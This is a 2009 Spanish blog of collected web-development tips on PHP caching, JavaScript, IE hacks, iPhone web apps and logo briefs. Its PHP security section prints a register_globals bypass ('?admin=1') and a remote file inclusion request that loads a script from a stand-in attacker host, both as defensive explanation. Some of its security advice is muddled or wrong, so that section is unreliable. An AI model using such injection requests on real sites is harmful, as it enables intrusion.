Mis notas a mano, sobre informatica

7.20.2009

Comprimiendo .css .js y almacenando en caché con PHP

Para minimizar la css hay varios servicios gratuitos, entre ellos Css compressor, de Lottery post. Tan sencillo como copiar el código de la css, pegar en Input, picar en Compress y seleccionar todo, copiar y pegar en un documento nuevo de nuestro editor de css. Damos el mismo nombre distinguiéndolo con min, por ejemplo estilo.min.css y guardamos.

Para minimizar los archivos de javascript seguimos los mismos pasos pero usamos el servicio de JS Minifier. En este caso deberemos borrar el código de ejemplo que viene en Code que es donde pegamos nuestro código js. Es recomendable dejar el nivel en “conservative” para evitar errores. Guardamos igual, por ejemplo efectos.min.js.

Para comprimir y almacenar en caché lo hacemos con un solo script:

1.
< ? php
2.
ob_start ("ob_gzhandler");
3.
header("Content-type: text/javascript; charset: UTF-8");
4.
header("Cache-Control: public, max-age=31536000");
5.
$offset = 60 * 60 * 24 * 30 ;
6.
$ExpStr = "Expires: " .
7.
gmdate("D, d M Y H:i:s",
8.
time() + $offset) . " GMT";
9.
header($ExpStr);
10.
? >

Es imprescindible que este script vaya al comienzo del archivo antes de cualquier otra cosa. El ob_start (”ob_gzhandler”); es el que se encarga de comprimir. El resto del script es el que crea la cabecera para que el archivo sea almacenado en caché, para hojas de estilo usaremos text/css. El Cache-control: public dice al navegador que será útil para cualquier página del dominio que lo solicite, max-age=31536000 establece su fecha de caducidad en un año -en segundos-. El Expires establece su próxima revisión en un mes. Ahora el archivo lo guardamos como estilo.min.css.php o efectos.min.js.php en cada caso.

Ahora solo hace falta llamar a nuestro archivos desde el head de la misma manera pero con los nuevos nombres. Los javascript es mejor ponerlos al final de la página, justo antes del cierre de la etiqueta body, así se arma la página antes de empezar a cargar el javascript, lo que da la sensación de que termina antes de descargar. Nuestras páginas ya no deberán terminar en .htm o .html sinó en .php para que el código php introducido sea ejecutado.

FUENTE

7.14.2009

10 tips para mejorar tu JavaScript al máximo

1. Utiliza el atributo defer sólo para scripts IE externos

Esto no es algo necesariamente obligatorio, pero puede resultar útil a veces. El atributo defer está declarado dentro de un tag

El propósito de defer es decirle al script linkeado externamente que espere a que la página termine de cargar antes de ponerse a andar. Lo mismo se puede lograr por medio de métodos no-obstrusivos de Javascript, que usualmente incluye código que previene que los scripts se ejecuten hasta que el DOM termine de cargar.

Las ventajas de defer ocurren en conexión con Internet Explorer, dado que este navegador es el único que soporta este atributo. Por lo que si necesitas un script rápido para utilizar sólo en IE, y no te molesta que la página entera se cargue antes de que este se ejecute, simplemente añade defer=”defer” en tu etiqueta

¿Notan el símbolo “menor”, que es parte de la declaración if? Este símbolo causará errores de validación en tu página a menos que envuelvas tu código en una sección CData, de esta forma:

3. Evita las palabras claves JavaScript al crear identificadores de usuario

Muchas palabras son reservadas como palabras claves en JavaScript, por lo que deberías evitar utilizarlas como nombres de variables u otros identificadores personales. La lista completa de palabras claves es la que sigue:

* break
* case
* catch
* continue
* default
* delete
* do
* else
* finally
* for
* function
* if
* in
* instanceof
* new
* return
* switch
* this
* throw
* try
* typeof
* var
* void
* while
* with

4. Evita las palabras Javascript reservadas al crear identificadores de usuario

Existen también palabras JavaScript reservadas, que no necesariamente son utilizadas actualmente en el lenguaje, pero están reservadas para su uso futuro como palabras claves. Estas palabras son las siguientes:

* abstract
* boolean
* byte
* char
* class
* const
* debugger
* double
* enum
* export
* extends
* final
* float
* goto
* implements
* import
* int
* interface
* long
* native
* package
* private
* protected
* public
* short
* static
* super
* synchronized
* throws
* transient
* volatile

5. No cambies el tipo de una variable después de la declaración inicial

En JavaScript, técnicamente, lo siguiente es perfectamente legal:

var my_variable = “This is a String”;
my_variable = 50;

Luego de la declaración inicial de la variable como una cuerda en la línea 1, en la línea 2 su valor es cambiado y su tipo de información también. Esto no es bueno y debería evitarse.
6. No utilices variables globales

Para prevenir posibles conflictos, en el 99% de los casos, utiliza la palabra clave var al declarar inicialmente las variables y sus valores. Esto asegura que tus variables estén localizadas y no sean accesibles fuera de la función en la que han sido declaradas. Así que si utilizas el mismo nombre de variable en dos funciones diferentes, no habrá conflicto dado que cada variable será abolida en el momento en que su función termine de ejecutarse.
7. JavaScript es sensible al caso

Recuerda que las siguientes dos variables representan dos contenedores completamente distintos:

var myVariable = “data”;
var myvariable = “more data”;

Así que utiliza prácticas buenas y consistentes en tus identificadores para asegurarte de no declarar dos variables diferentes cuando en realidad sólo querías crear una.
8. Utiliza switch para manejar condiciones múltiples

No hagas esto:

if (example_variable == “cyan”) {
// do something here…
} else if (example_variable == “magenta”) {
// do something here…
} else if (example_variable == “yellow”) {
// do something here…
} else if (example_variable == “black”) {
// do something here…
} else {
// do something here…
}

Haz esto:

switch (example_variable) {
case “cyan”:
// do something here…
break;
case “magenta”:
// do something here…
break;
case “yellow”:
// do something here…
break;
case “black”:
// do something here…
break;
default:
// do something here…
break;
}

El segundo bloque de código logra exactamente lo mismo que el primero, pero el segundo está limpio, es fácil de leer, de mantener y de modificar.
9. Utiliza try-catch para prevenir que los errores se muestren a los usuarios

Al envolver todo tu código en una declaración try-catch, puedes asegurarte que los usuarios nunca vean un desagradable error JavaScript. Cómo esto:

try {
nonExistentFunction();
} catch (error) {
document.write(”An error has occured.”)
}

En el código de abajo, hemos intentado llamar a una función que no existe, para forzar un error. El navegador no mostrará el típico error “not an object” o “object expected” , pero en su lugar mostrará el error personalizado que hemos incluido en la sección catch. También puedes dejar la sección catch vacía, y nada sucederá en el lado del cliente, o podrías crear una función para llamar dentro de la sección catch y manejar el error de forma tranquila para tus propios propósitos de debuggeo.

Ten presente que esto puede causar que los errores se escondan también del desarrollador, por lo que buena documentación de código y comentarios sería útil aquí.
10. Realiza comentarios multi-línea legibles, pero simples

En JavaScript, puedes comentar una línea de código poniendo // al principio de la misma. También puedes comentar un bloque de código como se muestra aquí

/* [el código va aquí] */.

Algunas veces necesitarás incluir una línea de comentario más larga y múltiple. Un buen método para usar que es fácil de localizar en el código es el siguiente:

/*
* This is a multi-line comment …
* cont’d…
* cont’d…
* cont’d…
* cont’d…
*/

Eso es todo. Diez prácticas JavaScript simples que esperamos les sirvan a todos.

¿Qué consejo añadirían ustedes?

Fuente: Impressive Webs

Tips para crear contraseñas efectivas

Hay algunas estrategias que no hay que usar nunca a la hora de crear una contraseña. Si bien pueden parecer obvias, no está de más repetirlas para dejar en claro qué cosas pueden afectar nuestra privacidad en línea.

* No hay que usar secuencias o caracteres repetidos. Léase: jamás 123456 ni aabbccdd.

* No debemos incluir en la contraseña palabras utilizadas en el nombre de usuario. Si nuestra dirección de correo electrónico es maca@x.com, la contraseña jamás debería ser macaportela.

* No debemos utilizar palabras complejas buscadas en el diccionario o escritas en otros idiomas. Muchos programas utilizados por usuarios malintencionados prueban contraseñas basadas en “ataques de diccionario” para tratar de romper nuestra frase de seguridad.

* Nunca hay que utilizar la misma contraseña para todos los servicios protegidos. Esta práctica, aunque muy peligrosa, es muy común y pone en riesgo muchos datos si una contraseña fuera descubierta.

* Nunca debemos escribir las contraseñas en documentos que van a recorrer el ciberespacio, como adjuntos en mensajes de correo o sistemas de almacenamientoen línea. Por último, es importante comprobar la fortaleza de la contraseña con el comprobador que Microsoft ofrece gratuitamente en la siguiente dirección.

Truco publicado en Users 219.

7.11.2009

HTML y hacks de CSS para Internet Explorer

Comentarios condicionales

Internet Explorer ha tenido por un largo tiempo una propiedad llamada Conditional Comments (comentarios condicionales) que permite que el contenido sea sólo visible para IE. La utilización de los comentarios condicionales en lugar de otros hacks css es simple:

» Crea una hoja de estilos común para todos los navegadores, sin utilizar ningún hack para poder evitar los problemas en IE.
» Crea una hoja de estilos común para todas las versiones de IE.
» Crea una hoja de estilos separada para cada una de las versiones de IE que desees etiquetar.
» Incuilr las hojas de estilo del punto 2 y 3 utilizando un comentario condicional.

Sintaxis condicional de comentario

El comentario condicional es sólo un comentario HTML especialmente formateado que es captado sólo por varias versiones de Internet Explorer para Windows.

 El siguiente comentario condicional es captado por IE5, IE5.5 e IE6: <blockquote><!-[if IE]>

<link rel="stylesheet" type="text/css" href="all-ie.css">

<![endif]-></blockquote> 

Si no deseas que tus estilos específicos de IE sean superpuestos por tu hoja de estilos regular, el orden de la fuente es significante; desearás especificar la hoja de estilos común primero, con las versiones específicas de IE siguiendo a continuación:
 <blockquote><link rel="”stylesheet”" type="”text/css”" href="”common.css”"> <!–[if IE]>

<link rel="”stylesheet”" type="”text/css”" href="”all-ie.css”">

<![endif]–> <!–[if IE 6]>

<link rel="”stylesheet”" type="”text/css”" href="”ie-6.0.css”">

<![endif]–> <!–[if lt IE 6]>

<link rel="”stylesheet”" type="”text/css”" href="”ie-5.0+5.5.css”">

<![endif]–></blockquote> <h2>Comentario Condicional en CSS</h2> <blockquote>



{/* any IE */float: expression(’none’);/* IE 5.x */}

{/* any Moz */float: expression(’none’);/* Moz 2.x */}</blockquote> 

Fuente: Tutorial Feed

7.10.2009

10 tips para desarrolladores web en iPhone

Aplicaciones web vs. Aplicaciones nativas

Debes tener en mente que una aplicación web funciona en el navegador, mientras que una aplicación nativa se encuentra instalada en el iPhone. Así que si deseas hacer algo así como un súper juego, de alta calidad, respuesta rápida y performance increíble, probablemente deberías optar por aprender algo de Objective-C y realizar una aplicación nativa. Sin embargo, si no posees una Mac y/o estás intentando realizar algo mucho más sencillo, como una versión para móvil de tu sitio web o blog, crear una aplicación web seguramente sea la forma más rápida y razonable de lograrlo.

¿Todavía no estás seguro? Aquí hay una lista de populares sitios web que son aplicaciones web para el iPhone:

Y la lista continua…

Si quieres dar el máximo, puedes considerar la idea de realizar tanto una aplicación nativa (esperemos que gratuita) y una aplicación web, como lo han hecho la mayoría de los sitios listados anteriormente.

1: Viewport, Viewport, Viewport

Esto puede que sea la cosa más simple e importante para una aplicación web para el iPhone. Se trata de una sola línea de código que debemos incluir en nuestros tags head con los otros meta tags:

<meta name=“viewport” content=“width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;” />

Esto le dice al navegador que es necesario escalar tu página de tal forma que quepa bien en el iPhone. Esto es lo que cada campo significa:

width=device-width
Esto hace que la página quepa en el ancho del dispositivo. El display del iPhone es de 320×480 pixeles en modo retrato y 480×320 en modo paisaje, esto es por lo que a veces se ven sitios que usan un ancho de 320 en lugar de un ancho del mismo tamaño que del del dispositivo.
initial-scale=1.0
Esta es la escala de la primera carga de la página.
maximum-scale=1.0
Este es el escalamiento máximo permitido.
user-scalable=0
Esto determina si el usuario tiene permitido hacer zoom in y out por medio del presionamiento/doble-tapping. También se puede utilizar user-scalable=no y user-scalable=yes en lugar de 0 y 1.

Ten en mente que viewport NO ES UNA VENTANA. Tómalo como si fuera una lupa sobre una página. Puedes moverla por todos lados y realizar zoom in/out. Este es el motivo por el cual ciertas propiedades como posicionamiento fijo no funcionan en el iPhone. En Professional iPhone and iPod touch Programming, Richard Wagner explica lo que es un viewport:

Un viewport es un área rectangular de un espacio de la pantalla en el que se muestra una aplicación. Las aplicaciones Windows y Mac tradicionales están contenidas dentro de sus propias ventanas. Las aplicaciones web se muestran dentro de una ventana del navegador. Un usuario puede manipular lo que se ve dentro de un viewport redimensionando la ventana, haciendo scroll a través de su contenido y en muchos casos, cambiando el nivel del zoom.

Especificar el viewport es una obligación y se trata del primer paso para lograr una aplicación web amigable al iPhone.

2: “Esconder” la barra de direcciones

La barra de direcciones ocupa una parte considerable de la ya bastante pequeña pantalla con la que tenemos que trabajar. Por eso seguramente desearás esconderla y así podrás mostrar tanta información en la pantalla como te sea posible. Mira el ejemplo que sigue:

Con la barra de direcciones

Ahora, ocultemos la barra añadiendo esta simple línea de código javascript:

window.scrollTo(0, 1);

La siguiente imagen muestra que había mucha más información que se podría mostrar:

Sin la barra de direcciones

Noten que esto sólo esconde temporalmente la barra de direcciones. Esconderla permanentemente se puede, pero no es la mejor idea.

3: Prueba en iPhone y en navegadores

Más allá de que tu meta final sea crear una aplicación web para el iPhone probarla en navegadores normales puede resultar beneficioso.

Dado que se trata de una aplicación web, la puedes probar como a una de ellas. Esto quiere decir que podrás utilizar muchas herramientas útiles como YSlow, Firebug, y Web Developer.

NOTA: Puede que obtengas errores de ciertas piezas del código que son legítimas. Por lo que no te conviene depender mucho de estas herramienta, úsalas sólo como una guía.

Debes tener presente que Firefox puede que muestre las cosas de forma distinta de la que lo hará Safari y, a la vez, Safari también es distinto a Mobile Safari. Más que seguro notarás que las web apps que desarrollas en Dashcode no se mostrarán bien en Firefox. Es por esto que necesitas realizar la prueba en un iPhone. Si de hecho desarrollas en Dashcode, este posee herramientas de prueba/debuggeo propias.

4: Imitar una aplicación nativa es posible

Desde una perspectiva de usabilidad, hacer que tu aplicación web luzca como una nativa es beneficioso porque los usuarios ya saben cómo utilizar una aplicación iPhone. Además, utilizar los botones, fuentes, listas, etc. es también útil. Apple puso mucho tiempo y dinero para lograr un buen diseño, así que usemos de base su buen criterio y nos ahorraremos la necesidad de atravesar todo el proceso de diseño de forma innecesaria.

La siguiente foto muestra el menú “Groups” de la propiedad “Contacts”. ¿Puedes adivinar si se trata de la aplicación nativa o su imitación?

Sí, efectivamente se trata de la aplicación web.

Si no deseas imitar una aplicación iPhone nativa, por lo menos sigue los siguientes consejos básicos:

Se consistente (por ejemplo, botones de navegación en cada página)
Crea botones que sean lo suficientemente grandes para poder apretarlos (por ejemplo, para los dedos gordos)
Haz que las cosas sean intuitivas (Por ejemplo, las cajas desplegables/contraíbles deben tener alguna pista como un +/- a su lado)

5: Utiliza Frameworks, librerías y herramientas para ahorrar tiempo

Si decides imitar una aplicación nativa, existen varias cosas que te pueden ahorrar una gran cantidad de tiempo:

Dashcode
Si tienes una Mac, esta puede que sea la mejor manera de lograr algo rápido. Dashcode posee una librería de partes (marcos, botones, etc.), una librería de snippets, una guía de pasos sobre el flujo de trabajo y mucho más.
iUI
Este bonito framework te permite crear web apps con simple HTML! Y también posee un lindo efecto deslizante. El desempeño es bastante rápido y el mismo framework es un archivo de tamaño bastante pequeño.
iWebkit
Como con iUI, puedes crear tu aplicación con HTML sencillo. Sin embargo, este framework posee muchas propiedades únicas. También tiene una guía de usuario que explica claramente cómo utilizar estas propiedades. Este framework funciona bien con otro código javascript, por lo que se puede personalizar la aplicación web de la forma en que cada uno desee.

Por supuesto, estos son sólo algunas de las herramientas que pueden servirte, existen muchas más.

6: Utiliza listas cuando te sea posible

Las listas son una forma buena y rápida de mostrar información. “Contacts” y “Mail” muestran la información en forma de listas. Estas permiten una fácil navegación, nos dan la posibilidad de mostrar una gran cantidad de ítems en una pantalla pequeña y son fáciles de tocar en comparación con las imágenes. Además también se cargan de forma bastante rápida ya que se trata sólo de texto. Son el método de navegación ideal, dependiendo claro está del tipo de tu aplicación web.

Si utilizas una lista, agrupar los elementos por orden alfabético, relevancia o utilidad es siempre algo bueno.

Una lista con ítems agrupados alfabéticamente

7: Minimiza la navegación horizontal

De ser posible, minimiza la cantidad de pantallas por las que tus usuarios deben navegar hasta acceder a la información que desean. Tener menos páginas por las que navegar implica menos redireccionamiento, y por ende, menos cargas innecesarias por tener que ir adelante y atrás.

Muchas pantallas de navegación

8: Haz que tu aplicación sea pequeña y rápida

Recuerda que el desempeño es algo crítico en el mundo móvil, dado que un usuario puede estar en la red EDGE o poseer una conexión lenta. Es necesario dar la menor cantidad de datos a descargar que sea posible. Las reglas de desempeño de cualquier sitio normal se aplican también aquí. Las puedes chequear mediante Page Speed y YSlow.

No está mal para un framework que posee un archive .js, un .css y un montón de imágenes. ¿Verdad?

9: Ten un ícono de Home

Asegúrate de tener un bonito ícono que la gente pueda ver cuando añadan tu aplicación web a su escritorio. Realíza un archivo PNG de 57×57 y añade el siguiente código a tu home page, en el head:

<link href="path/to/your/icon.png" rel="apple-touch-icon" />

Tener un ícono es una buena forma de reconocer rápidamente tu aplicación web, y también de hacer que ésta se vea profesional.

10: Los “simuladores” iPhone no son perfectos

Notarás que los simuladores iPhone, incluso el oficial “Aspen Simulator”, pueden a veces mostrar resultados diferentes que el propio iPhone. Es necesario tener esto en cuenta dado que mucha gente desarrolla y prueba las aplicaciones principalmente en estos “simuladores” sólo para descubrir cerca del final del desarrollo que en el iPhone la aplicación posee muchos bugs o directamente ni funciona. Así que tengan cuidado al utilizar un simulador, dado que no son un reemplazo del verdadero iPhone.

Falló la simulación

Conclusión

Seguramente existan muchos consejos que aquí no se hayan nombrado, así que no tengan miedo de exponer sus trucos y pasos a seguir a la hora de lograr el desarrollo de una buena aplicación.

Es necesario que colaboremos entre todos para lograr una web cada día mejor

Fuente: Net Tuts +

¿Tu PHP es seguro? Tips y herramientas para asegurar tu sitio

Tipos de Ataque

Existen varios tipos de ataque diferente a los que PHP es particularmente vulnerable. Los dos tipos principales son: ataques humanos y ataques automáticos. Ambos pueden potencialmente devastar un sitio web.

El tipo más común de ataques humanos son molestias menores y suelen ser comunes en sitios de almacenamiento de archivos y foros, tales como el abuso de la política de almacenamiento, difamación, que se dan en sitios como Amazon o Yahoo Answers, y otros abusos similares que no necesariamente involucran la manipulación del código de tu sitio.

Los humanos también pueden detectar huecos de seguridad que les permite acceder a tu código fuente y utilizarlo maliciosamente. Esto puede potencialmente causar daño sustancial en tu sitio, por lo que éste es el tipo de ataque humano en el que deberías concentrarte.

Los ataques automatizados son particularmente peligrosos debido a su eficiencia en el uso de script automáticos para realizar estragos en tu sitio de mucha maneras distintas. Estos ataques puede que hagan lenta tu página, accedan a errores de loggeo, manipulen el código fuente o comprometan a información sensible. Los ataques automatizados más usuales son los virus y gusanos, los cuales tienen una mínima diferencia entre sí pero se asemejan en el gran daño que pueden realizar a tu web.

La meta de la seguridad PHP es minimizar y eliminar ambos de estos posibles ataques al poner inplace líneas estratégicas de defensa para eliminar el acceso a tu sitio de usuarios no-verificados.

Las vulnerabilidades de seguridad PHP más comunes

Los hackers experimentados conocen las fallas de seguridad más usuales que deben buscar en PHP, por lo que es importante encargarse de este tema antes que nada.

1. Register_Globals

Register_Globals hace que escribir aplicaciones PHP sea simple y conveniente para el desarrollador pero también causa un riesgo de seguridad potencial. Esta propiedad está localizada en el archivo de configuración de PHP, el cual se llama php.ini, y este puede ser tanto activado como desactivado. Al activarlo, se permite que los usuarios no-verificados inyecten variables en una aplicación para ganar acceso administrativo a tu web. La mayoría de los expertos PHP recomiendan desactivar register_globals.

Por ejemplo, miren el snippet que sigue. Un usuario podría añadir el final de la url de una página ?admin=1 para básicamente forzar la entrada a áreas administrativas que normalmente requerirían una contraseña.

Con register_globals desactivado, este tipo de entrada forzada no es posible. La buena noticia es que PHP 4.2.0 posee register_globals desactivado por defecto y PHP 6.0.0 ha directamente ha removido esta función.

Por lo que en lugar de confiar en register_globals, en su lugar deberías utilizar las variables PHP predefinidas tales como $_REQUEST. Para asegurar más el sitio, también deberías especificar utilizando: $_ENV, $_GET, $_POST, $_COOKIE, o $_SERVER en lugar de utilizar el más general $_REQUEST.

2. Reporte de error

Reporte de error es una gran herramienta para el diagnóstico de bugs, permitiéndote arreglarlos fácil y rápidamente, pero también pone en juego temas de seguridad. El problema sucede cuando el error es visible a los otros en la pantalla, porque revela posibles agujeros de seguridad en el código de los cuales un hacker puede tomar provecho sin problemas.

Si display_errors no está desactivado o posee como valor “0″, el resultado del examen aparecerá en el navegador del usuario final… y eso no es nada bueno para la seguridad. Sin embargo, debes activar log_errors y luego indicar la locación exacta del log con error_log.

Échale un vistazo a la tabla de PHPFreaks.com que está a continuación, que señala las propiedades recomendadas tanto para la instancia de de producción como de desarrollo de aplicaciones web PHP.

3. Cross-Site Scripting (XSS)

Cross-site scripting, o XSS, es una forma de que los hackers reúnan información de tu sitio web utilizando markup malicioso o código JavaScript para engañar al usuario, o a su navegador, para que sigan un link malo o presenten sus detalles de login o un panel de login falso y así robar su información personal. La mejor forma de defensa ante XSS es deshabilitar JavaScript y las imágenes al surfear la web, pero todos sabemos que eso es algo casi imposible con tantos sitios webs utilizando aplicaciones JavaScript hoy en día.

Para defenderte contra los ataques XSS, necesitas ser proactivo, no esperes a que tu sitio sea atacado para actuar. Por ejemplo, las aplicaciones PHP que utilizan formularios de sumisión, o peticiones POST, son mucho menos vulnerables que las peticiones GET. Por lo que es importante que detectes que variables y acciones serán permitidas como valores GET, y también cuales vienen por medio de valores POST. En un nutshell, la defensa contra XSS involucra el control de las entradas de usuarios a tu sitio. Debes asegurarte que éstas pasen a través de un proceso de filtro para que no posean código malicioso.

Un ejemplo del filtro de las entradas de usuario se puede encontrar en el snippet de código que dejamos a continuación tomado de Pro PHP Security porChris Snyder yMichael Southwell.

Esta pieza de código relativamente directa permite que html y Javascript sean embebidos en la entrada, lo que determina que la misma sea completamente segura. Esto es especialmente útil en las secciones de comentarios de blogs, foros u otras aplicaciones web que reciben entradas.

Otra cosa útil para proteger contra XSS es una función PHP llamada htmlentities(). Esta función simple convierte todos los caracteres en html a sus entidades correspondientes, tales como “<” se convertiría “<”.

4. Inclusión de archivo remoto (RFI)

Este tipo de ataque es relativamente desconocido entre desarrolladores, lo que hace que sea especialmente dañino. La inclusión de archivo remoto, o RFI, involucra un ataque de una locación remota que explora una aplicación PHP vulnerable e inyecta código malicioso para lograr spamming o incluso acceso a la carpeta ruta del servidor. Un usuario no-verificado que gana acceso a cualquier servidor puede causar problemas mayores en un sitio de distintas formas, incluyendo el abuso de información personal almacenada en las bases de datos.

Un buen ejemplo de un ataque RFI se puede encontrar en PHPFreaks.com. Aquí hay un ejemplo de esa página:

Imaginen que en http://example.com/malice.php existe un archivo y nuestro script está localizado en http://site.com/index.php. El atacante hará esta petición: http://site.com/index.php?page=http://example.com/malice. Este archivo se ejecutará al ser incluido y escribirá un nuevo archivo en el disco.

La mejor forma de asegurar tu sitio de los ataques RFI es a través de las directivas php.ini - Especificamente, las directivas allow_url_fopen y el allow_url_include. La directiva allow_url_fopen esta activada por defecto, y allow_url_include está desactivada. Estas dos directivas simples protegerán adecuadamente tu sitio de cualquier ataque RFI.

Otras herramientas de seguridad PHP

Si bien la mejor forma de asegurar las aplicaciones web PHP es a través y monitoreo constante de tu sitio, existen otras herramientas útiles que pueden ayudar a reconocer las vulnerabilidades en tu código PHP. Aquí hay tres herramientas útiles que pueden resultar beneficiosas para los desarrolladores PHP:

PhpSecInfo

Esta herramienta reporta información de seguridad en el ambiente PHP, y lo mejor, ofrece sugerencias para mejorar los errores. Se puede descargar bajo la licencia “New BSD”, y el proyecto PhpSecInfo busca constantemente desarrolladores PHP para mejorar esta herramienta.

Descarga PhpSecInfo Aquí

PHP Security Scanner

Esta herramienta se utiliza para escanear código PHP para vulnerabilidades, y se puede usar para escanear cualquier directorio. PHP Security Scanner presenta una muy práctica UI para mejorar la visualización de potenciales problemas.

Descarga PHP Security Scanner Aquí

Spike PHP Security Audit Tool

La herramienta de seguridad Spike PHP Audit es una solución de código abierto para realizar análisis estáticos de código PHP. Buscará problemas de seguridad, para que puedas corregirlos durante el proceso de desarrollo.

Descarga Spike PHP Security Audit Tool

Fuente: Noupe

7.08.2009

TEMPLATES XHTML y FLASH FREE

XHTML
http://www.templatemo.com/page/1

FLASH
http://www.flashmo.com/page/1

20 preguntas que debes hacer a tus clientes a la hora de diseñar su logo

Antes de empezar cualquier proyecto es necesario obtener la información preliminar correcta por parte de nuestros clientes. Esto evitará malos entendidos a futuro y nos permitirá mantener una relación más fluida con quien nos emplea.

A continuación les dejamos una lista con las 20 preguntas que es necesario hacerle a nuestros clientes antes de comenzar el diseño de su logo para que la prestación de nuestros servicios se realice en forma exitosa.

Preguntas relacionadas con la compañía

1- ¿Cómo describiría sus productos y servicios?

2- ¿Cuáles son las metas a largo plazo de su compañía?

3- ¿Por qué desea un logo nuevo? ¿Qué quiere que este nuevo logo logre? (Esta pregunta ayuda a entender el problema).

4- ¿Quiénes son sus principales competidores? (Hacer que el cliente nos proporcione links nos ayuda a obtener una mejor noción de su mercado y su competencia).

5- ¿En qué te diferencias de tus competidores?

6- ¿Cuál es el rango de edad del target de tus clientes? Esto ayuda a tener una mejor noción del estilo de logo que se necesita.

Preguntas relacionadas con el proyecto

7- ¿Posees un slogan? De tenerlo ¿Deseas que se encuentre al lado de tu logo?

8- ¿Tienes algún estilo particular en mente para tu logo?

9- ¿Posees alguna preferencia de color?

10- ¿Hay algún color que no quieres que se utilice en el diseño?

11- ¿Cuáles son los adjetivos que mejor deberían describir a tu logo?

12- ¿Qué mensaje o sensación deseas que tu logo deje en aquellos que lo vean?

13- ¿Cómo prefieres que sea tú logo: comprimido o espaciado?

Ejemplo: “thedesigncubicle” o “the design cubicle“

14- ¿Cómo deseas que aparezca la tipografía?

Ejemplo: script, itálica, light, dibujada a mano, personalizada.

15- ¿Dónde se usará tu logo?
Ejemplo: en la web, en impresiones, etc.

16- ¿En dónde se usará tu logo fundamentalmente?
Si el uso primordial es para la web, por lo general se utilizan logos horizontales.

17- ¿Cuánto es el tiempo de entrega deseado?

18- ¿Y el presupuesto?

Aquí es donde es necesario proveer de diferentes aranceles y conceptos distintos.

19- ¿Desea algún tipo de servicio de diseño extra en adición al nuevo logo?
Ejemplo: tarjetas de negocio, envoltorios, etc.

20- ¿Qué logo le resulta atractivo y por qué?
Esta es otra pregunta que pueden responder con links e imágenes visuales.

……………………………………………………………………………………………….

También es útil dejar un espacio en blanco en el que el cliente pueda expresar libremente algún comentario o alguna sugerencia.

Recuerden que ser diseñador gráfico implica ser un solucionador de problemas y no se puede solucionar un problema sin saber cuál es. Por eso, preguntar es una gran forma de averiguarlo.

¿Ustedes qué preguntas añadirían?

Fuente: The Design Cubicle